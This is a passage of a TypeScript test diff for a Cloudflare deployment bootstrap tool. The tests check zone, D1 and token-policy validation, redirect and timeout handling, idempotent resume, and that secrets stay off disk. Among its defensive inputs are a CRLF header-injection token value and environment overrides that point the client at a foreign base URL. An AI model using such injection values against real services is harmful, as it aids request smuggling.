+        : undefined,
+    );
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'provider-unavailable',
+    });
+    expect(f.requests.every((request) => request.method === 'GET')).toBe(true);
+  });
+
+  it('lists zones without a type query parameter', async () => {
+    const f = await fixture();
+    await f.run();
+    const requests = f.requests
+      .map((request) => new URL(request.url))
+      .filter((url) => url.pathname === '/client/v4/zones');
+    expect(requests.length).toBeGreaterThan(0);
+    for (const url of requests) {
+      expect(url.searchParams.has('type')).toBe(false);
+      expect(url.searchParams.get('account.id')).toBe(ACCOUNT);
+      expect(url.searchParams.get('per_page')).toBe('50');
+    }
+  });
+
+  it('refuses an unsupported zone type even when its name equals ownedHostname', async () => {
+    const f = await fixture();
+    const row = {
+      id: 'zone',
+      name: f.prepared.config.ownedHostname,
+      type: 'unsupported',
+      account: { id: ACCOUNT },
+    };
+    f.setHook((_request, url) => {
+      if (url.pathname === '/client/v4/zones')
+        return json(url.searchParams.has('page') ? [] : [row]);
+      if (url.pathname === '/client/v4/zones/zone') return json(row);
+    });
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'observation-mismatch',
+    });
+    expect(f.journal.snapshot().bootstrap).toBeNull();
+    expect(f.requests.every((request) => request.method === 'GET')).toBe(true);
+  });
+
+  it('refuses the selected zone when its detail reread reports an unsupported type', async () => {
+    const f = await fixture();
+    const row = {
+      id: 'zone',
+      name: f.prepared.config.ownedHostname,
+      type: 'full',
+      account: { id: ACCOUNT },
+    };
+    f.setHook((_request, url) => {
+      if (url.pathname === '/client/v4/zones')
+        return json(url.searchParams.has('page') ? [] : [row]);
+      if (url.pathname === '/client/v4/zones/zone')
+        return json({ ...row, type: 'unsupported' });
+    });
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'observation-mismatch',
+    });
+    expect(f.journal.snapshot().bootstrap).toBeNull();
+    expect(f.requests.every((request) => request.method === 'GET')).toBe(true);
+  });
+
+  it('refuses a zone row with a missing type', async () => {
+    const f = await fixture();
+    const row = {
+      id: 'zone',
+      name: f.prepared.config.ownedHostname,
+      account: { id: ACCOUNT },
+    };
+    f.setHook((_request, url) => {
+      if (url.pathname === '/client/v4/zones')
+        return json(url.searchParams.has('page') ? [] : [row]);
+      if (url.pathname === '/client/v4/zones/zone') return json(row);
+    });
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'observation-mismatch',
+    });
+    expect(f.journal.snapshot().bootstrap).toBeNull();
+    expect(f.requests.every((request) => request.method === 'GET')).toBe(true);
+  });
+
+  it.each([
+    'foreign-account',
+    'wrong-boundary',
+    'duplicate-name',
+    'duplicate-id',
+    'malformed-name',
+    'later-failure',
+  ])('refuses %s zone proofs', async (kind) => {
+    const f = await fixture();
+    f.setHook((_request, url) => {
+      if (url.pathname !== '/client/v4/zones') return;
+      if (url.searchParams.has('page'))
+        return kind === 'later-failure'
+          ? Response.json({}, { status: 403 })
+          : json([]);
+      const row = {
+        id: 'zone',
+        name:
+          kind === 'wrong-boundary'
+            ? 'ample.test'
+            : kind === 'malformed-name'
+              ? 'bad..test'
+              : 'example.test',
+        type: 'full',
+        account: { id: kind === 'foreign-account' ? 'foreign' : ACCOUNT },
+      };
+      return json([
+        row,
+        ...(kind === 'duplicate-name'
+          ? [{ ...row, id: 'another' }]
+          : kind === 'duplicate-id'
+            ? [{ ...row, name: 'other.test' }]
+            : []),
+      ]);
+    });
+    await expect(f.run()).rejects.toHaveProperty('code');
+    expect(f.requests.every((request) => request.method === 'GET')).toBe(true);
+  });
+
+  it.each([
+    'missing-name',
+    'duplicate-id',
+    'truncated',
+    'cursor',
+  ])('refuses %s SinglePage namespace proofs', async (kind) => {
+    const f = await fixture();
+    f.setHook((_request, url) => {
+      if (!url.pathname.endsWith('/dispatch/namespaces')) return;
+      if (kind === 'missing-name') return json([{ namespace_id: 'id' }]);
+      if (kind === 'duplicate-id')
+        return json([
+          { namespace_id: 'id', namespace_name: 'one' },
+          { namespace_id: 'id', namespace_name: 'two' },
+        ]);
+      return json(
+        [{ namespace_id: 'id', namespace_name: 'one' }],
+        kind === 'cursor' ? { cursor: 'more' } : { total_count: 2 },
+      );
+    });
+    await expect(f.run()).rejects.toHaveProperty('code');
+    expect(f.journal.snapshot().bootstrap).toBeNull();
+  });
+
+  it('selects the longest owned zone suffix after complete traversal', async () => {
+    const f = await fixture();
+    f.setHook((_request, url) =>
+      url.pathname === '/client/v4/zones'
+        ? json(
+            url.searchParams.has('page')
+              ? []
+              : [
+                  {
+                    id: 'parent',
+                    name: 'test',
+                    type: 'full',
+                    account: { id: ACCOUNT },
+                  },
+                  {
+                    id: 'zone',
+                    name: 'example.test',
+                    type: 'full',
+                    account: { id: ACCOUNT },
+                  },
+                ],
+          )
+        : undefined,
+    );
+    await f.run();
+    expect(f.journal.snapshot().bootstrap?.context.zoneName).toBe(
+      'example.test',
+    );
+  });
+
+  it('rejects a pending provider mutation and a changed prepared runtime before SDK construction', async () => {
+    const f = await fixture();
+    const changed = structuredClone(f.prepared);
+    (changed.config.referenceWorker as { cpuLimitMs: number }).cpuLimitMs += 1;
+    await expect(f.run({ prepared: changed })).rejects.toMatchObject({
+      code: 'invalid-input',
+    });
+    await f.journal.bindBootstrapContext({
+      names: f.names,
+      zoneId: 'zone',
+      zoneName: 'example.test',
+      accountWorkersDevSubdomain: 'attested-account',
+      dispatch: { kind: 'empty', count: 0 },
+    });
+    await f.journal.beginBootstrapMutation('create-fleet-d1');
+    await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' });
+    expect(probes.sdk).not.toHaveBeenCalled();
+    expect(f.fetchRequest).not.toHaveBeenCalled();
+  });
+
+  it('refuses redirects and cancels the unconsumed response', async () => {
+    const f = await fixture();
+    const cancelled = vi.fn();
+    f.setHook(
+      () =>
+        new Response(new ReadableStream({ cancel: cancelled }), {
+          status: 302,
+          headers: { Location: 'https://unexpected.invalid' },
+        }),
+    );
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'provider-unavailable',
+    });
+    expect(f.fetchRequest).toHaveBeenCalledTimes(1);
+    expect(cancelled).toHaveBeenCalledTimes(1);
+  });
+
+  it('cancels script collision bodies without parsing or retaining their content', async () => {
+    const f = await fixture();
+    const cancelled = vi.fn();
+    f.setHook((_request, url) =>
+      url.pathname === f.script
+        ? new Response(new ReadableStream({ cancel: cancelled }), {
+            headers: { 'Content-Type': 'application/javascript' },
+          })
+        : undefined,
+    );
+    await expect(f.run()).rejects.toMatchObject({ code: 'name-collision' });
+    await new Promise<void>((resolve) => setImmediate(resolve));
+    expect(cancelled).toHaveBeenCalledTimes(1);
+    expect(f.journal.snapshot().bootstrap?.pending).toBeNull();
+  });
+
+  it.each([
+    'headers',
+    'body',
+  ])('bounds actual response %s time and cancels late or unread bodies', async (kind) => {
+    const f = await fixture({ timeout: 30 });
+    const cancelled = vi.fn();
+    let resolveHeaders: ((response: Response) => void) | undefined;
+    const response = new Response(new ReadableStream({ cancel: cancelled }), {
+      headers: { 'Content-Type': 'application/json' },
+    });
+    f.setHook(() =>
+      kind === 'body'
+        ? response
+        : new Promise<Response>((resolve) => {
+            resolveHeaders = resolve;
+          }),
+    );
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'provider-unavailable',
+    });
+    resolveHeaders?.(response);
+    await new Promise<void>((resolve) => setImmediate(resolve));
+    expect(cancelled).toHaveBeenCalledTimes(1);
+    expect(f.fetchRequest).toHaveBeenCalledTimes(1);
+    expect(f.journal.snapshot().bootstrap).toBeNull();
+  });
+
+  it('bounds JSON bytes before native parsing completes', async () => {
+    const f = await fixture();
+    const cancelled = vi.fn();
+    f.setHook(
+      () =>
+        new Response(
+          new ReadableStream({
+            start(controller) {
+              controller.enqueue(new Uint8Array(8 * 1024 * 1024 + 1));
+            },
+            cancel: cancelled,
+          }),
+          { headers: { 'Content-Type': 'application/json' } },
+        ),
+    );
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'provider-unavailable',
+    });
+    await new Promise<void>((resolve) => setImmediate(resolve));
+    expect(cancelled).toHaveBeenCalledTimes(1);
+    expect(f.fetchRequest).toHaveBeenCalledTimes(1);
+  });
+
+  it('bounds the bootstrap attempt duration without resetting durable state', async () => {
+    const f = await fixture();
+    let now = 100;
+    vi.spyOn(performance, 'now').mockImplementation(() => now);
+    f.setHook(() => {
+      now += 300_001;
+      return json({ id: ACCOUNT });
+    });
+    await expect(f.run()).rejects.toMatchObject({ code: 'budget-exhausted' });
+    expect(f.fetchRequest).toHaveBeenCalledTimes(1);
+    expect(f.journal.snapshot().invocationCount).toBe(0);
+  });
+
+  it('bounds SDK pagination attempts and refuses an unfinished inventory', async () => {
+    const f = await fixture();
+    f.setHook((_request, url) => {
+      if (url.pathname !== '/client/v4/zones') return;
+      const page = url.searchParams.get('page') ?? '1';
+      return json([
+        {
+          id: `zone-${page}`,
+          name: `zone-${page}.test`,
+          type: 'full',
+          account: { id: ACCOUNT },
+        },
+      ]);
+    });
+    await expect(f.run()).rejects.toMatchObject({ code: 'budget-exhausted' });
+    expect(f.fetchRequest).toHaveBeenCalledTimes(512);
+    expect(f.journal.snapshot().bootstrap).toBeNull();
+  }, 15_000);
+
+  it.each([
+    'platform-page',
+    'transport-failure',
+    'non-contract-answer',
+  ] as const)('classifies bootstrap mutation %s with one request and one pending intent', async (detail) => {
+    const f = await fixture();
+    f.setHook((request, url) => {
+      if (request.method !== 'POST' || !url.pathname.endsWith('/d1/database'))
+        return;
+      if (detail === 'transport-failure')
+        throw new Error('synthetic transport failure');
+      if (detail === 'platform-page')
+        return new Response('error code: 1104', {
+          status: 500,
+          headers: { 'content-type': 'text/plain' },
+        });
+      return json({ malformed: true });
+    });
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'outcome-unknown',
+      detail,
+    });
+    expect(
+      f.requests.filter((request) => request.method === 'POST'),
+    ).toHaveLength(1);
+    expect(f.journal.snapshot().bootstrap?.pending).toBe('create-fleet-d1');
+  });
+
+  it('retains create intent after a lost response and never retries dispatch', async () => {
+    const f = await fixture({ timeout: 30 });
+    f.setHook((request, url) =>
+      request.method === 'POST' && url.pathname.endsWith('/d1/database')
+        ? new Promise<Response>(() => {})
+        : undefined,
+    );
+    await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' });
+    expect(
+      f.requests.filter((request) => request.method === 'POST'),
+    ).toHaveLength(1);
+    expect(f.journal.snapshot().bootstrap).toMatchObject({
+      pending: 'create-fleet-d1',
+      fleet: null,
+    });
+    const calls = probes.sdk.mock.calls.length;
+    await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' });
+    expect(probes.sdk).toHaveBeenCalledTimes(calls);
+    expect(probes.generate).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    false,
+    true,
+  ])('constructs the invocation client with only an explicit fetch injection: %s', async (injected) => {
+    const f = await fixture();
+    vi.stubGlobal('fetch', f.fetchRequest);
+    const createClient = invocation.createDirectInvocationClient;
+    const construct = vi
+      .spyOn(invocation, 'createDirectInvocationClient')
+      .mockImplementation((options) =>
+        createClient({ ...options, fetch: f.fetchRequest }),
+      );
+    await f.run({ fetch: injected ? f.fetchRequest : undefined });
+    expect(construct).toHaveBeenCalledTimes(1);
+    expect(construct.mock.calls[0]?.[0].fetch).toBe(
+      injected ? f.fetchRequest : undefined,
+    );
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+  });
+
+  it('uploads original multipart bytes and fixed bindings, durably settles control-read, and resumes retained secrets', async () => {
+    const f = await fixture();
+    vi.stubEnv('CLOUDFLARE_CUSTOM_HEADERS', 'Authorization: injected');
+    vi.stubEnv('CLOUDFLARE_LOG', 'debug');
+    vi.stubEnv('CLOUDFLARE_BASE_URL', 'https://unexpected.invalid');
+    await writeFile(
+      join(f.directory, 'reference.mjs'),
+      'changed on disk after preflight',
+    );
+    const client = await f.run();
+    expect(typeof client.invoke).toBe('function');
+    expect(probes.sdk.mock.calls[0]?.[0]).toMatchObject({
+      baseURL: 'https://api.cloudflare.com/client/v4',
+      apiToken: API_TOKEN,
+      apiKey: null,
+      apiEmail: null,
+      userServiceKey: null,
+      logLevel: 'off',
+      timeout: 1000,
+      maxRetries: 0,
+    });
+    for (const module of f.prepared.referenceModules)
+      expect(f.parts.get(module.name)).toEqual(
+        new Uint8Array(
+          'source' in module
+            ? Buffer.from(module.source)
+            : Buffer.from(module.base64, 'base64'),
+        ),
+      );
+    const bindings = f.metadata?.bindings ?? [];
+    expect(bindings.find((value) => value.name === 'FLEET_DB')).toEqual({
+      name: 'FLEET_DB',
+      type: 'd1',
+      database_id: FLEET_ID,
+    });
+    expect(bindings.find((value) => value.name === 'EXPORTS')).toEqual({
+      name: 'EXPORTS',
+      type: 'r2_bucket',
+      bucket_name: f.names.exportBucket,
+    });
+    const roleMap = JSON.parse(
+      bindings.find((value) => value.name === 'DIRECT_DEPLOYMENT_SECRETS')
+        ?.text ?? 'null',
+    );
+    expect(Object.keys(roleMap)).toEqual(['a', 'b', 'recovery']);
+    expect(probes.generate).toHaveBeenCalledTimes(3);
+    const disk = await readFile(
+      join(f.journal.directory, 'journal.json'),
+      'utf8',
+    );
+    for (const secret of [
+      API_TOKEN,
+      INVOKE_SECRET,
+      ...Object.values(roleMap).flatMap((value) => {
+        const role = value as {
+          deploymentIdentity: string;
+          maintenanceAdmin: string;
+          application: { APP_PROBE_TOKEN: string };
+        };
+        return [
+          role.deploymentIdentity,
+          role.maintenanceAdmin,
+          role.application.APP_PROBE_TOKEN,
+        ];
+      }),
+    ])
+      expect(disk).not.toContain(secret);
+    expect(f.journal.snapshot()).toMatchObject({
+      version: 2,
+      invocationCount: 1,
+      lastInvocation: { state: 'settled' },
+      bootstrap: {
+        pending: null,
+        controlReadOrdinal: 1,
+        active: { deploymentId: DEPLOYMENT_ID, versionId: VERSION_ID },
+      },
+    });
+    const mutations = f.requests.filter(
+      (request) =>
+        request.method !== 'GET' &&
+        new URL(request.url).origin === 'https://api.cloudflare.com',
+    ).length;
+    await f.reopen();
+    f.setHook((_request, url) =>
+      url.pathname.endsWith('/dispatch/namespaces')
+        ? json([{ namespace_id: 'namespace-id', namespace_name: 'fresh-name' }])
+        : undefined,
+    );
+    await f.run();
+    expect(
+      f.requests.filter(
+        (request) =>
+          request.method !== 'GET' &&
+          new URL(request.url).origin === 'https://api.cloudflare.com',
+      ),
+    ).toHaveLength(mutations);
+    expect(probes.generate).toHaveBeenCalledTimes(3);
+    expect(f.journal.snapshot()).toMatchObject({
+      invocationCount: 2,
+      bootstrap: {
+        controlReadOrdinal: 2,
+        context: { dispatch: { kind: 'empty', count: 0 } },
+      },
+    });
+  });
+
+  it('accepts a positive upload without optional identity metadata', async () => {
+    const f = await fixture({ tag: null });
+    await f.run();
+    expect(f.journal.snapshot().bootstrap?.upload).toMatchObject({ tag: null });
+    expect(
+      f.requests.some(
+        (request) =>
+          new URL(request.url).pathname === `${f.root}/workers/scripts`,
+      ),
+    ).toBe(false);
+    await f.reopen();
+    await f.run();
+    expect(probes.generate).toHaveBeenCalledTimes(3);
+  });
+
+  it('rejects invalid prepared bytes, journal binding, pending state and auth before SDK construction', async () => {
+    const f = await fixture();
+    const prepared = structuredClone(f.prepared);
+    (prepared.referenceModules[0] as { source: string }).source += 'changed';
+    const foreign = {
+      ...f.journal,
+      snapshot: () => ({
+        ...f.journal.snapshot(),
+        binding: {
+          ...f.journal.snapshot().binding,
+          configSha256: 'f'.repeat(64),
+        },
+      }),
+    };
+    for (const override of [
+      { prepared },
+      { journal: foreign },
+      { apiToken: 'bad\r\nheader' },
+      { invokeSecret: 'bad\u0100header' },
+    ])
+      await expect(f.run(override)).rejects.toMatchObject({
+        code: 'invalid-input',
+      });
+    const reservation = await f.journal.reserveInvocation(
+      JSON.stringify({
+        contractVersion: 1,
+        configSha256: f.prepared.configSha256,
+        action: { kind: 'control-read' },
+      }),
+    );
+    await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' });
+    await f.journal.settleInvocation(reservation);
+    await expect(f.run()).rejects.toMatchObject({ code: 'invalid-input' });
+    expect(probes.sdk).not.toHaveBeenCalled();
+    expect(f.fetchRequest).not.toHaveBeenCalled();
+  });
+
+  it('falls back to the user endpoint family once, correlates that ID, and does not freeze token identity', async () => {
+    const f = await fixture();
+    f.setHook((_request, url) =>
+      url.pathname === `${f.root}/tokens/account-token` ? absent() : undefined,
+    );
+    await f.run();
+    expect(
+      f.requests.filter((request) =>
+        request.url.endsWith('/user/tokens/verify'),
+      ),
+    ).toHaveLength(1);
+    expect(
+      f.requests.some((request) =>
+        request.url.endsWith('/user/tokens/account-token'),
+      ),
+    ).toBe(false);
+    await f.reopen();
+    f.setHook(undefined);
+    await f.run();
+    expect(f.journal.snapshot().invocationCount).toBe(2);
+  });
+
+  it.each([
+    'inactive',
+    'id-mismatch',
+    'missing-policies',
+    'malformed-group',
+    'deny',
+    'partial-grant',
+    'malformed-resources',
+  ])('refuses %s policy without endpoint fallback or creation', async (failure) => {
+    const f = await fixture();
+    f.setHook((_request, url) => {
+      if (url.pathname !== `${f.root}/tokens/account-token`) return;
+      const token = f.policy('account-token') as Record<string, unknown>;
+      const policies = token.policies as {
+        effect: string;
+        permission_groups: unknown[];
+        resources: Record<string, unknown>;
+      }[];
+      const policy = policies[0];
+      if (!policy) throw new Error('Missing fixture policy');
+      if (failure === 'inactive') token.status = 'disabled';
+      if (failure === 'id-mismatch') token.id = 'foreign';
+      if (failure === 'missing-policies') delete token.policies;
+      if (failure === 'malformed-group') policy.permission_groups = [null];
+      if (failure === 'deny') policy.effect = 'deny';
+      if (failure === 'partial-grant') policy.permission_groups.pop();
+      if (failure === 'malformed-resources')
+        policy.resources = { arbitrary: [] };
+      return json(token);
+    });
+    await expect(f.run()).rejects.toHaveProperty('code');
+    expect(
+      f.requests.some((request) => request.url.includes('/user/tokens/')),
+    ).toBe(false);
+    expect(f.requests.every((request) => request.method === 'GET')).toBe(true);
+  });
+
+  it.each([
+    'worker',
+    'r2',
+    'd1',
+  ])('refuses exact %s name collisions without adoption', async (kind) => {
+    const f = await fixture();
+    f.setHook((_request, url) => {
+      if (kind === 'worker' && url.pathname === f.script)
+        return new Response('foreign');
+      if (
+        kind === 'r2' &&
+        url.pathname.endsWith(`/r2/buckets/${f.names.exportBucket}`)
+      )
+        return json({ name: f.names.exportBucket });
+      if (kind === 'd1' && url.pathname.endsWith('/d1/database'))
+        return json(
+          url.searchParams.has('page')
+            ? []
+            : [{ uuid: 'foreign', name: f.names.fleetDatabase }],
+        );
+    });
+    await expect(f.run()).rejects.toMatchObject({ code: 'name-collision' });
+    expect(f.requests.every((request) => request.method === 'GET')).toBe(true);
+    expect(f.journal.snapshot().bootstrap?.fleet).toBeNull();
+  });
+
+  it.each([
+    'zones',
+    'namespaces',
+    'd1',
+  ])('rejects malformed and incomplete %s listing envelopes', async (kind) => {
+    const invalid = [
+      null,
+      { success: true },
+      { success: false, result: [] },
+      { success: true, result: {} },
+      { success: true, result: [], errors: {} },
+      { success: true, result: [], result_info: { cursor: 'more' } },
+      { success: true, result: [], result_info: { total_pages: 2 } },
+      { success: true, result: [], result_info: { total_count: 1 } },
+    ];
+    for (const envelope of invalid) {
+      const f = await fixture();
+      f.setHook((_request, url) =>
+        (
+          kind === 'zones'
+            ? url.pathname === '/client/v4/zones'
+            : kind === 'namespaces'
+              ? url.pathname.endsWith('/dispatch/namespaces')
+              : url.pathname.endsWith('/d1/database')
+        )
+          ? Response.json(envelope)
+          : undefined,
+      );
+      await expect(f.run()).rejects.toHaveProperty('code');
+      expect(f.requests.every((request) => request.method === 'GET')).toBe(
+        true,
+      );
+    }
+  });
+
+  it.each([
+    'later-forbidden',
+    'later-malformed',
+    'middle-gap',
+    'omitted-later-metadata',
+    'missing-name',
+    'duplicate',
+  ])('refuses %s D1 selection, including nonmatching rows', async (kind) => {
+    const f = await fixture();
+    f.setHook((_request, url) => {
+      if (!url.pathname.endsWith('/d1/database')) return;
+      const page = Number(url.searchParams.get('page') ?? '1');
+      if (kind === 'missing-name') return json([{ uuid: 'foreign' }]);
+      if (kind === 'duplicate')
+        return json([
+          { uuid: 'same', name: 'foreign' },
+          { uuid: 'same', name: 'foreign' },
+        ]);
+      if (page === 1)
+        return json([{ uuid: 'foreign', name: 'foreign' }], {
+          page: 1,
+          per_page: 1,
+          total_count: ['middle-gap', 'omitted-later-metadata'].includes(kind)
+            ? 3
+            : 1,
+          total_pages: ['middle-gap', 'omitted-later-metadata'].includes(kind)
+            ? 3
+            : 1,
+        });
+      if (kind === 'later-forbidden') return Response.json({}, { status: 403 });
+      if (kind === 'later-malformed') return json([{}]);
+      if (kind === 'omitted-later-metadata') return json([]);
+      return json([], { page: 2, per_page: 1, total_count: 3, total_pages: 3 });
+    });
+    await expect(f.run()).rejects.toHaveProperty('code');
+    expect(f.requests.every((request) => request.method === 'GET')).toBe(true);
+  });
+
+  it('accepts complete nonmatching D1 searches with terminal numbered empty pages and initial dispatch 404', async () => {
+    const f = await fixture();
+    f.setHook((_request, url) => {
+      if (url.pathname.endsWith('/dispatch/namespaces')) return absent();
+      if (!url.pathname.endsWith('/d1/database') || _request.method !== 'GET')
+        return;
+      const page = Number(url.searchParams.get('page') ?? '1');
+      return json(
+        page === 1 ? [{ uuid: 'foreign', name: 'nonmatching' }] : [],
+        { page, per_page: 100, total_count: 1, total_pages: 1 },
+      );
+    });
+    await f.run();
+    expect(f.journal.snapshot().bootstrap?.context.dispatch).toEqual({
+      kind: 'first-page-404',
+      count: 0,
+    });
+  });
+
+  it.each([
+    'missing-uuid',
+    'wrong-name',
+    'r2-date',
+    'r2-jurisdiction',
+    'upload-id',
+    'upload-envelope',
+  ])('retains the pending %s mutation and never retries or regenerates after ambiguity', async (kind) => {
+    const f = await fixture();
+    f.setHook((request, url) => {
+      if (request.method === 'POST' && url.pathname.endsWith('/d1/database')) {
+        if (kind === 'missing-uuid')
+          return json({ name: f.names.fleetDatabase });
+        if (kind === 'wrong-name')
+          return json({ uuid: FLEET_ID, name: 'foreign' });
+      }
+      if (request.method === 'POST' && url.pathname.endsWith('/r2/buckets')) {
+        if (kind === 'r2-date') return json({ name: f.names.exportBucket });
+        if (kind === 'r2-jurisdiction')
+          return json({
+            name: f.names.exportBucket,
+            creation_date: '2026-09-10T00:00:00Z',
+            jurisdiction: 'eu',
+          });
+      }
+      if (request.method === 'PUT') {
+        if (kind === 'upload-id') return json({ id: 'foreign-script' });
+        if (kind === 'upload-envelope') return Response.json({ result: {} });
+      }
+    });
+    await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' });
+    const count = f.fetchRequest.mock.calls.length;
+    const generated = probes.generate.mock.calls.length;
+    await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' });
+    expect(f.fetchRequest).toHaveBeenCalledTimes(count);
+    expect(probes.generate).toHaveBeenCalledTimes(generated);
+    await expect(f.reopen()).rejects.toMatchObject({ code: 'outcome-unknown' });
+  });
+
+  it('resumes partial confirmed infrastructure before generating secrets', async () => {
+    const f = await fixture();
+    let quotaLists = 0;
+    f.setHook((request, url) =>
+      request.method === 'GET' &&
+      url.searchParams.get('name') === f.names.quotaDatabase &&
+      ++quotaLists === 2
+        ? Response.json({}, { status: 403 })
+        : undefined,
+    );
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'provider-unavailable',
+    });
+    expect(f.journal.snapshot().bootstrap).toMatchObject({
+      fleet: { uuid: FLEET_ID },
+      quota: null,
+      pending: null,
+    });
+    expect(probes.generate).not.toHaveBeenCalled();
+    await f.reopen();
+    f.setHook(undefined);
+    await f.run();
+    expect(
+      f.requests.filter(
+        (request) =>
+          request.method === 'POST' &&
+          new URL(request.url).pathname.endsWith('/d1/database'),
+      ),
+    ).toHaveLength(2);
+    expect(probes.generate).toHaveBeenCalledTimes(3);
+  });
+
+  it('resumes a confirmed upload after observation failure using retained secrets', async () => {
+    const f = await fixture();
+    f.setHook((_request, url) =>
+      url.pathname.endsWith('/deployments')
+        ? Response.json({}, { status: 503 })
+        : undefined,
+    );
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'provider-unavailable',
+    });
+    expect(f.journal.snapshot().bootstrap).toMatchObject({
+      upload: { scriptName: f.names.referenceWorker },
+      active: null,
+      pending: null,
+    });
+    await f.reopen();
+    f.setHook(undefined);
+    await f.run();
+    expect(probes.generate).toHaveBeenCalledTimes(3);
+    expect(
+      f.requests.filter((request) => request.method === 'PUT'),
+    ).toHaveLength(1);
+  });
+
+  it.each([
+    'version',
+    'settings',
+  ])('refuses bootstrap when %s runtime omits required compatibility_flags', async (kind) => {
+    const f = await fixture();
+    f.setHook((_request, url) => {
+      const runtime = { ...f.runtime() };
+      Reflect.deleteProperty(runtime, 'compatibility_flags');
+      if (
+        kind === 'version' &&
+        url.pathname.endsWith(`/versions/${VERSION_ID}`)
+      )
+        return json({
+          id: VERSION_ID,
+          resources: { script_runtime: runtime, bindings: f.bindings() },
+        });
+      if (kind === 'settings' && url.pathname.endsWith('/settings'))
+        return json({ ...runtime, bindings: f.bindings() });
+    });
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'observation-mismatch',
+    });
+    expect(f.metadata?.compatibility_flags).toEqual([
+      'global_fetch_strictly_public',
+    ]);
+    expect(f.journal.snapshot().bootstrap).toMatchObject({
+      upload: { scriptName: f.names.referenceWorker },
+      active: null,
+      controlReadOrdinal: null,
+    });
+  });
+
+  it.each([
+    'version',
+    'settings',
+  ])('refuses explicit null version compatibility_flags for the %s runtime', async (kind) => {
+    const f = await fixture();
+    f.setHook((_request, url) => {
+      const runtime = { ...f.runtime(), compatibility_flags: null };
+      if (
+        kind === 'version' &&
+        url.pathname.endsWith(`/versions/${VERSION_ID}`)
+      )
+        return json({
+          id: VERSION_ID,
+          resources: { script_runtime: runtime, bindings: f.bindings() },
+        });
+      if (kind === 'settings' && url.pathname.endsWith('/settings'))
+        return json({ ...runtime, bindings: f.bindings() });
+    });
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'observation-mismatch',
+    });
+    expect(f.journal.snapshot().bootstrap).toMatchObject({
+      upload: { scriptName: f.names.referenceWorker },
+      active: null,
+      controlReadOrdinal: null,
+    });
+  });
+
+  it('refuses absent version compatibility_flags when configuration declares flags', async () => {
+    const f = await fixture({
+      compatibilityFlags: ['nodejs_compat', 'global_fetch_strictly_public'],
+    });
+    f.setHook((_request, url) => {
+      if (!url.pathname.endsWith(`/versions/${VERSION_ID}`)) return;
+      const runtime = { ...f.runtime() };
+      Reflect.deleteProperty(runtime, 'compatibility_flags');
+      return json({
+        id: VERSION_ID,
+        resources: { script_runtime: runtime, bindings: f.bindings() },
+      });
+    });
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'observation-mismatch',
+    });
+    expect(f.metadata?.compatibility_flags).toEqual([
+      'nodejs_compat',
+      'global_fetch_strictly_public',
+    ]);
+    expect(f.journal.snapshot().bootstrap).toMatchObject({
+      upload: { scriptName: f.names.referenceWorker },
+      active: null,
+      controlReadOrdinal: null,
+    });
+  });
+
+  it.each([
+    'tag',
+    'traffic',
+    'deployment',
+    'version',
+    'cpu',
+    'subrequests',
+    'bindings',
+    'ingress',
+    'control-binding',
+  ])('refuses %s mismatch after confirmed upload', async (kind) => {
+    const f = await fixture();
+    f.setHook((_request, url) => {
+      if (kind === 'tag' && url.pathname === `${f.root}/workers/scripts`)
+        return json([{ id: f.names.referenceWorker, tag: 'replacement' }]);
+      if (kind === 'traffic' && url.pathname.endsWith('/deployments'))
+        return json({
+          deployments: [
+            {
+              ...f.deployment(),
+              versions: [{ version_id: VERSION_ID, percentage: 50 }],
+            },
+          ],
+        });
+      if (
+        kind === 'deployment' &&
+        url.pathname.endsWith(`/deployments/${DEPLOYMENT_ID}`)
+      )
+        return json({ ...f.deployment(), id: 'replacement' });
+      if (
+        url.pathname.endsWith(`/versions/${VERSION_ID}`) &&
+        ['version', 'cpu', 'bindings'].includes(kind)
+      )
+        return json({
+          id: kind === 'version' ? 'replacement' : VERSION_ID,
+          resources: {
+            script_runtime: {
+              ...f.runtime(),
+              ...(kind === 'cpu' ? { limits: {} } : {}),
+            },
+            bindings: kind === 'bindings' ? [] : f.bindings(),
+          },
+        });
+      if (kind === 'subrequests' && url.pathname.endsWith('/settings'))
+        return json({
+          ...f.runtime(),
+          limits: { cpu_ms: f.prepared.config.referenceWorker.cpuLimitMs },
+          bindings: f.bindings(),
+        });
+      if (
+        kind === 'ingress' &&
+        url.pathname.endsWith('/subdomain') &&
+        _request.method === 'GET' &&
+        url.pathname.includes('/scripts/')
+      )
+        return json({ enabled: true, previews_enabled: true });
+      if (kind === 'control-binding' && url.hostname.endsWith('.workers.dev'))
+        return f.controlResponse({
+          binding: { ...f.runBinding(), accountId: 'foreign' },
+        });
+    });
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'observation-mismatch',
+    });
+    expect(f.journal.snapshot().bootstrap?.upload).not.toBeNull();
+    expect(f.journal.snapshot().bootstrap?.controlReadOrdinal).toBeNull();
+    if (kind === 'control-binding')
+      expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+  });
+
+  it.each([
+    'd1',
+    'r2',
+    'zone',
+    'subdomain',
+    'active',
+  ])('refuses a changed confirmed %s identity on resume', async (kind) => {
+    const f = await fixture();
+    await f.run();
+    await f.reopen();
+    f.setHook((_request, url) => {
+      if (kind === 'd1' && url.pathname.endsWith(`/d1/database/${FLEET_ID}`))
+        return json({ uuid: 'foreign', name: f.names.fleetDatabase });
+      if (
+        kind === 'r2' &&
+        url.pathname.endsWith(`/r2/buckets/${f.names.exportBucket}`)
+      )
+        return json({
+          name: f.names.exportBucket,
+          creation_date: '2026-09-11T00:00:00Z',
+        });
